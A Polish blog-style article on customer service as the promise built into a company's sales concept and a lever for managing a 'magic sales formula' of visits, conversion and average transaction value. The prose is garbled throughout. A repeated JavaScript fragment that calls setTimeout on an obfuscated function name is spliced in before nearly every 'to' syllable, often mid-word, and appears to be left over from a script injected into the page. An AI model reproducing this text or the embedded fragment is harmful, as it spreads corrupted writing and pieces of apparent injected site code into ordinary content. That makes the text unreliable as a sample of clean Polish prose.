Większość firm jakoś obsługuje klientów. Nawet jeśli nie robi tego bezpośrednio, gdyż pracownicy nie mają kontaktu z odwiedzającymi, dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to i tak robi dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to pośrednio.
Uwaga. „nie ma dobrej czy złej obsługi”. A przynajmniej, jeśli chodzi o jej system. Jest tylko dopasowana albo nie do Modelu Biznesowego firmy ( dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to po stronie organizacji, ale przede wszystkim kosztów). A już szczególnie do jego części fron dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}towej czyli Konceptu Sprzedażowego (tu chodzi o złożenie, a następnie dotrzymanie obietnicy).
System, standard i rzeczywis dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tość obsługi. Obsługa ma dwa wymiary. Podstawowy, kluczowy dla funkcjonowania Modelu Biznesowego, w postaci złożenia, a następnie spełnienia obietnicy. Oraz wymiar pomocniczy (choć nie do pogardzenia) na poziomie sterowania sprzedażą, przede wszystkim zarządzania magiczną formułą sprzedaży. War dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to zacząć od wymiaru podstawowego, on decyduje o największej części sprzedaży. I częs dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to też o przewadze konkurencyjnej.
Na poziomie obietnicy można tak naprawdę tylko zepsuć (potencjał sprzedaży jest tu tylko negatywny). Czyli jej nie spełnić, lub spełnić tylko częściowo. Ale po spełnieniu (lepiej czy gorzej) obietnicy, czas na sterowanie sprzedażą. Tu można nie tylko niczego nie stracić, ale też wiele zyskać.
Po co się starać?
Czy war dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to zajmować się obsługą klienta? War dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to, i dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to nie tylko dlatego, że dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to ostatnio modny temat. Przede wszystkim dlatego, że można na tym dobrze zarobić. Obsługa klienta dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to podstawowy sposób zarządzania magiczną formułą sprzedaży, i dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to na wszystkich jej poziomach. Magiczna formuła sprzedaży przedstawia ją jako ciąg zarządzalnych (i sekwencyjnych) zdarzeń, kontaktu z firmą, konwersji, a wreszcie średniej transakcji.
Większość tych me dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tod dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to sposób „na raz”, jak Format czy lokalizacja. Działa dobrze, ale potencjał jest wykorzystany od razu (albo nie). Inne elementy, jak w szczególności zarządzanie przestrzenią czy atmosferą zakupów można wprawdzie zmienić, ale potrzebne są determinacja, pomysł, nakłady i cierpliwość. Nie każdy się więc zdecyduje na niepewną zmianę. Za dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to obsługa może być zmieniana cały czas, bo dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to wprawdzie trudne, ale skalowalne.
Jak działa magiczna formuła sprzedaży? Sekwencyjnie i przyczynowo – skutkowo. Ale co najważniejsze, dzięki temu można nią sterować. Oczywiście tylko rozumiejąc wzajemne zależności.
Jak zarządzać magiczną formułą przy pomocy obsługi? Dobrze, jeśli się dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to robić skutecznie, choć można dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to też robić drogo. Ale nie trzeba, zarządzanie personelem jest bardziej trudne niż drogie (najdroższe jest tu posiadanie odpowiednio wykwalifikowanych menedżerów). Już sam przyrost wynagrodzeń z tego tytułu nie jest duży (zmienia się tylko ewentualna część zmienna). Jest też co do zasady co najmniej zrównoważony wzrostem obrotów.
Magiczną formułą można zarządzać na poziomie wszystkich trzech jej składników. Choć najtrudniej na poziomie odwiedzalności, a najwdzięczniej i najłatwiej na poziomie średniej war dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tości transakcji.
Wszystkie sposoby zarządzania magiczną formułą sprzedaży wymagają kompetencji, ale też wymagają nakładów. Na szkolenie, wynagrodzenia, odpowiednią liczbę pracowników. Ale przede wszystkim na zarządzanie nimi, przez zmotywowanych i odpowiednio wynagradzanych menedżerów. Z tego punktu widzenia dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to najdroższy składnik Modelu Biznesowego.
Uwaga. „obsługa dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to najdroższy sposób sterowania sprzedażą”. Ale najskuteczniejszy. Zarządzanie magiczną formułą przy pomocy obsługi klienta dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to najskuteczniejszy, choć jednocześnie najdroższy sposób. To także sposób bardzo trudny, gdyż pracownicy mają wolną wolę i własne interesy, w przeciwieństwie do produktu, przestrzeni czy lokalizacji. Ale skoro ta obsługa już tam jest (a jest jako składnik Konceptu Sprzedażowego), dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to szkoda by było jej nie wykorzystać. Z tego punktu widzenia jest praktycznie za darmo.
Oceniając dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to jednak z poziomu Konceptu Sprzedażowego, inkrementalny koszt obsługi jest pomijalny. Ona przecież i tak już tam jest, właśnie ze względu na złożoną w Koncepcie obietnicę. Teraz trzeba ją tylko lepiej (inaczej?) wykorzystać.
Poziomy magicznej formuły sprzedaży. Zarządzalny jest dopiero ostatni, czyli poziom zachowań. Wcześniejsze są tylko (czy może raczej aż) mierzalne.
W is dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tocie formułą nie da się zarządzać na poziomie, jaki ją opisuje. Nie da się np. zarządzać bezpośrednio konwersją. Tę można tylko mierzyć. Nawet na trzecim poziomie (analitycznym) pomiar jest tylko bardziej precyzyjny. Np. można mierzyć liczbę sztuk na transakcję czy średnią cenę sprzedanego produktu. Efektywnie zarządzać można dopiero na czwartym poziomie, poziomie zachowań. A dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to dokładnie punkt styku z obsługą klienta.
Zacząć jednak trzeba od tego, że wszystko zaczyna się od Konceptu Sprzedażowego. To on określa coś, co można nazwać systemem obsługi. Cała reszta dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to już tylko codzienna implementacja tego systemu.
System czy standard?
Na ile system obsługi określa jej standard? Prawie wcale. Tak jak dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to, jak marka samochodu określa styl jazdy kierowcy. Oraz dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to, czy dobrze jeździ. Jakiś wpływ dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to ma, ale na pewno nie decydujący.
Rzeczywis dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tość obsługi
Ona ma niewiele do systemu, ale bardzo dużo do standardu. Nie jest bowiem niczym innym jak tylko jego wykonaniem.
Koncept Sprzedażowy składa klien dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}towi obietnicę na poziomie systemu obsługi. Wykonuje ją już na poziomie standardu (choć dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to głównie narzędzie do zarządzania magiczną formułą sprzedaży). Ale ocena klienta następuje nie na poziomie obietnicy, tylko właśnie dnia codziennego. W dodatku zawsze „tu i teraz”, a nie zwykle, na ogół czy w większości.
Podsumowanie
Obsługa klienta jest wpisana w każdy Koncept Sprzedażowy. To rodzaj obietnicy, jaką składa firma swoim klien dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tom. Ona też staje się podstawą do kształ dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}towania oczekiwań. Ale już dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to, jaka i jak zostanie wykonana, zależy już od konkretnej firmy. Jednak poza spełnieniem (lub nie) pozostaje duży potencjał sterowania sprzedażą. Potencjał trudny do wykorzystania (wymaga zarządzania), ale tani, gdyż z pierwszego powodu ta obsługa już tam jest. I można ją tylko lepiej wykorzystać.